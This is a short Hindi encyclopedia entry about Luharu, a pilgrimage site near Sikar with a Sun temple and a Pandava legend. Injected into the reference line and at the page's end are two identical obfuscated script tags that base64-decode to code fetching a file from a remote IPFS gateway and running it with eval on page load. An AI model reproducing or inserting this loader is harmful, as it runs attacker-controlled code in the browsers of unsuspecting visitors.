लुहारू

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

लुहारू सीकर से 20 मील की दूरी पर स्थित राजस्थान का प्राचीन तीर्थ है।[1]

  • यह स्थान रामानंद संप्रदाय का विशिष्ट स्थान है।
  • लुहारू में भगवान सूर्य देव का एक प्राचीन मंदिर स्थिति है।
  • पर्वत के नीचे पुराणों में प्रसिद्ध 'ब्रह्मसर' बताया गया है।
  • ऐसी प्रचीन अनुश्रति प्रचलित है कि पांडवों ने महाभारत के युद्ध के पश्चात् इस तीर्थ की यात्री की थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 821 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>